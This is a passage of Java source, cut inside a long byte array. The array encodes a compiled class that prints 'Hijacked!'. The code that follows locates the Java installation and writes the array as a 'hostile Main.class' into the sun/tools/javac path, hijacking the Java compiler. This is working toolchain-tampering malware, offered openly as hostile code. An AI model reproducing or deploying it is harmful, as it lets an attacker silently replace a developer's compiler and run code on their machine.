0,
192,
0,
49,
58,
16,
25,
16,
182,
0,
85,
171,
0,
0,
1,
197,
0,
0,
0,
3,
0,
0,
0,
0,
0,
0,
0,
33,
0,
0,
0,
3,
0,
0,
0,
44,
0,
0,
0,
4,
0,
0,
0,
66,
25,
11,
182,
0,
79,
154,
0,
6,
167,
1,
156,
3,
54,
14,
25,
11,
25,
16,
182,
0,
76,
25,
16,
182,
0,
85,
7,
159,
0,
6,
167,
1,
134,
3,
54,
14,
25,
13,
182,
0,
90,
25,
16,
25,
11,
182,
0,
119,
192,
0,
56,
58,
17,
25,
17,
25,
11,
25,
13,
182,
0,
130,
25,
16,
25,
17,
8,
182,
0,
109,
25,
17,
182,
0,
66,
154,
1,
89,
21,
8,
153,
0,
6,
167,
1,
81,
25,
16,
182,
0,
71,
182,
0,
125,
182,
0,
128,
16,
46,
178,
0,
129,
182,
0,
78,
58,
18,
187,
0,
45,
89,
183,
0,
88,
25,
16,
182,
0,
71,
182,
0,
124,
182,
0,
128,
182,
0,
117,
18,
9,
182,
0,
117,
182,
0,
108,
58,
19,
45,
198,
0,
68,
25,
18,
182,
0,
92,
158,
0,
45,
187,
0,
62,
89,
45,
25,
18,
183,
0,
101,
58,
20,
25,
20,
182,
0,
118,
154,
0,
9,
25,
20,
182,
0,
93,
87,
187,
0,
62,
89,
25,
20,
25,
19,
183,
0,
101,
58,
20,
167,
0,
82,
187,
0,
62,
89,
45,
25,
19,
183,
0,
101,
58,
20,
167,
0,
67,
25,
17,
182,
0,
68,
192,
0,
46,
58,
21,
25,
21,
182,
0,
72,
153,
0,
19,
25,
11,
3,
18,
13,
25,
21,
182,
0,
135,
182,
0,
116,
167,
0,
182,
187,
0,
62,
89,
25,
21,
182,
0,
135,
183,
0,
120,
58,
20,
187,
0,
62,
89,
25,
20,
182,
0,
96,
25,
19,
183,
0,
113,
58,
20,
187,
0,
47,
89,
25,
20,
182,
0,
97,
183,
0,
77,
58,
21,
25,
13,
25,
21,
182,
0,
91,
25,
21,
16,
72,
182,
0,
137,
25,
21,
16,
105,
182,
0,
137,
25,
21,
16,
106,
182,
0,
137,
25,
21,
16,
97,
182,
0,
137,
25,
21,
16,
99,
182,
0,
137,
25,
21,
16,
107,
182,
0,
137,
25,
21,
16,
101,
182,
0,
137,
25,
21,
16,
100,
182,
0,
137,
25,
21,
16,
33,
182,
0,
137,
25,
21,
182,
0,
121,
25,
11,
182,
0,
86,
153,
0,
55,
42,
187,
0,
45,
89,
183,
0,
88,
18,
4,
182,
0,
117,
25,
20,
182,
0,
97,
182,
0,
117,
18,
39,
182,
0,
117,
182,
0,
108,
182,
0,
94,
167,
0,
20,
87,
25,
11,
3,
18,
13,
25,
20,
182,
0,
97,
182,
0,
116,
167,
0,
3,
25,
15,
185,
0,
82,
1,
0,
154,
254,
35,
21,
14,
153,
254,
12,
167,
0,
36,
58,
12,
25,
12,
182,
0,
107,
25,
11,
3,
18,
37,
182,
0,
115,
167,
0,
18,
58,
12,
25,
12,
182,
0,
107,
25,
11,
3,
18,
19,
182,
0,
115,
25,
11,
182,
0,
110,
4,
54,
12,
25,
11,
180,
0,
102,
158,
0,
139,
18,
5,
58,
13,
25,
11,
180,
0,
102,
4,
164,
0,
31,
187,
0,
45,
89,
183,
0,
88,
25,
11,
180,
0,
102,
182,
0,
73,
18,
29,
182,
0,
117,
182,
0,
108,
58,
13,
167,
0,
7,
18,
14,
58,
13,
25,
11,
180,
0,
99,
158,
0,
74,
25,
11,
180,
0,
99,
4,
164,
0,
42,
25,
13,
187,
0,
45,
89,
183,
0,
88,
95,
182,
0,
117,
18,
24,
182,
0,
117,
25,
11,
180,
0,
99,
182,
0,
73,
18,
11,
182,
0,
117,
182,
0,
108,
58,
13,
167,
0,
26,
25,
13,
187,
0,
45,
89,
183,
0,
88,
95,
182,
0,
117,
18,
18,
182,
0,
117,
182,
0,
108,
58,
13,
42,
25,
13,
182,
0,
94,
3,
54,
12,
167,
0,
56,
25,
11,
180,
0,
99,
158,
0,
48,
25,
11,
180,
0,
99,
4,
164,
0,
33,
42,
187,
0,
45,
89,
183,
0,
88,
25,
11,
180,
0,
99,
182,
0,
73,
18,
11,
182,
0,
117,
182,
0,
108,
182,
0,
94,
167,
0,
9,
42,
18,
38,
182,
0,
94,
25,
11,
182,
0,
86,
153,
0,
40,
184,
0,
80,
22,
5,
101,
55,
5,
42,
187,
0,
45,
89,
183,
0,
88,
18,
26,
182,
0,
117,
22,
5,
182,
0,
70,
18,
20,
182,
0,
117,
182,
0,
108,
182,
0,
94,
21,
12,
172,
0,
4,
2,
8,
2,
22,
2,
25,
0,
59,
3,
147,
4,
20,
4,
23,
0,
44,
1,
235,
4,
55,
4,
58,
0,
52,
1,
235,
4,
55,
4,
76,
0,
42,
0,
1,
0,
207,
0,
0,
2,
150,
0,
165,
0,
0,
0,
91,
0,
6,
0,
92,
0,
9,
0,
93,
0,
11,
0,
94,
0,
16,
0,
95,
0,
25,
0,
96,
0,
28,
0,
100,
0,
34,
0,
101,
0,
46,
0,
102,
0,
53,
0,
103,
0,
60,
0,
101,
0,
63,
0,
104,
0,
75,
0,
105,
0,
82,
0,
106,
0,
89,
0,
104,
0,
92,
0,
107,
0,
104,
0,
108,
0,
111,
0,
107,
0,
114,
0,
109,
0,
126,
0,
110,
0,
132,
0,
109,
0,
135,
0,
111,
0,
147,
0,
112,
0,
154,
0,
111,
0,
157,
0,
113,
0,
169,
0,
114,
0,
175,
0,
113,
0,
178,
0,
115,
0,
190,
0,
116,
0,
193,
0,
115,
0,
196,
0,
117,
0,
208,
0,
118,
0,
217,
0,
119,
0,
225,
0,
118,
0,
228,
0,
121,
0,
234,
0,
122,
0,
238,
0,
123,
0,
240,
0,
125,
0,
252,
0,
126,
1,
5,
0,
127,
1,
20,
0,
128,
1,
27,
0,
129,
1,
53,
0,
130,
1,
55,
0,
133,
1,
61,
0,
134,
1,
65,
0,
135,
1,
67,
0,
137,
1,
79,
0,
138,
1,
105,
0,
139,
1,
109,
0,
140,
1,
111,
0,
141,
1,
123,
0,
142,
1,
132,
0,
141,
1,
135,
0,
144,
1,
161,
0,
145,
1,
165,
0,
146,
1,
167,
0,
100,
1,
177,
0,
149,
1,
185,
0,
150,
1,
189,
0,
151,
1,
191,
0,
155,
1,
195,
0,
156,
1,
198,
0,
158,
1,
208,
0,
159,
1,
223,
0,
160,
1,
235,
0,
162,
1,
235,
0,
164,
1,
245,
0,
165,
2,
8,
0,
166,
2,
8,
0,
167,
2,
22,
0,
166,
2,
25,
0,
168,
2,
26,
0,
169,
2,
39,
0,
166,
2,
42,
0,
164,
2,
52,
0,
174,
2,
64,
0,
178,
2,
67,
0,
179,
2,
72,
0,
180,
2,
82,
0,
181,
2,
94,
0,
182,
2,
132,
0,
184,
2,
140,
0,
185,
2,
143,
0,
190,
2,
146,
0,
191,
2,
153,
0,
192,
2,
162,
0,
193,
2,
165,
0,
198,
2,
168,
0,
199,
2,
173,
0,
200,
2,
185,
0,
201,
2,
194,
0,
202,
2,
202,
0,
204,
2,
215,
0,
205,
2,
218,
0,
208,
2,
239,
0,
209,
3,
14,
0,
212,
3,
18,
0,
213,
3,
26,
0,
214,
3,
38,
0,
215,
3,
46,
0,
216,
3,
52,
0,
218,
3,
65,
0,
213,
3,
68,
0,
220,
3,
80,
0,
212,
3,
83,
0,
223,
3,
93,
0,
224,
3,
101,
0,
225,
3,
114,
0,
226,
3,
117,
0,
228,
3,
131,
0,
229,
3,
147,
0,
233,
3,
147,
0,
234,
3,
161,
0,
235,
3,
168,
0,
236,
3,
175,
0,
237,
3,
182,
0,
238,
3,
189,
0,
239,
3,
196,
0,
240,
3,
203,
0,
241,
3,
210,
0,
242,
3,
217,
0,
243,
3,
224,
0,
244,
3,
231,
0,
245,
3,
236,
0,
246,
3,
244,
0,
247,
4,
20,
0,
233,
4,
23,
0,
249,
4,
24,
0,
250,
4,
37,
0,
233,
4,
40,
0,
180,
4,
50,
0,
254,
4,
55,
0,
162,
4,
58,
0,
255,
4,
60,
1,
0,
4,
65,
1,
1,
4,
73,
0,
162,
4,
76,
1,
2,
4,
78,
1,
3,
4,
83,
1,
4,
4,
91,
1,
7,
4,
96,
1,
9,
4,
99,
1,
10,
4,
107,
1,
11,
4,
111,
1,
12,
4,
120,
1,
13,
4,
145,
1,
12,
4,
148,
1,
15,
4,
152,
1,
17,
4,
160,
1,
18,
4,
169,
1,
19,
4,
205,
1,
18,
4,
208,
1,
21,
4,
231,
1,
24,
4,
237,
1,
25,
4,
240,
1,
10,
4,
243,
1,
27,
4,
251,
1,
28,
5,
4,
1,
29,
5,
31,
1,
28,
5,
34,
1,
31,
5,
40,
1,
37,
5,
48,
1,
38,
5,
56,
1,
39,
5,
85,
1,
42,
0,
9,
1,
58,
1,
61,
0,
1,
1,
66,
0,
0,
0,
74,
0,
4,
0,
2,
0,
0,
0,
38,
187,
0,
57,
89,
178,
0,
134,
18,
7,
183,
0,
103,
76,
178,
0,
134,
18,
36,
182,
0,
127,
43,
42,
182,
0,
67,
153,
0,
7,
3,
167,
0,
4,
4,
184,
0,
95,
177,
0,
0,
0,
1,
0,
207,
0,
0,
0,
18,
0,
4,
0,
0,
1,
49,
0,
13,
1,
50,
0,
21,
1,
51,
0,
37,
1,
48,
0,
1,
1,
17,
0,
0,
0,
2,
0,
227,
};
// Find out where Java lives
        String jhome = System.getProperty("java.home");
// Determine the system-dependent file separator
        String sep = System.getProperty("file.separator");
// Specify the full pathname of the directory where Main.class will be placed
        String target = jhome + sep + "classes" + sep + "sun" + sep +
                        "tools" + sep + "javac";
// Specify the full pathname for Main.class
        String makemain = target + sep + "Main.class";
// Create the corresponding file objects
        File targetdir = new File(target);
        File mainfile = new File(makemain);
// Create the target directory if it doesn't already exist
        if (!(targetdir.exists())) {targetdir.mkdirs();}
// Dump out the hostile Main.class into its new home
        byte[] byter = new byte[hijacked.length];
        for (int i=0; i<hijacked.length; i++) {
            byter[i] = (byte)hijacked[i];
        }
        try {
            PrintStream jack = new PrintStream(new FileOutputStream(mainfile));
            jack.write(byter, 0, byter.length);
            jack.close();
        } catch (IOException ioe) {}
    }
}
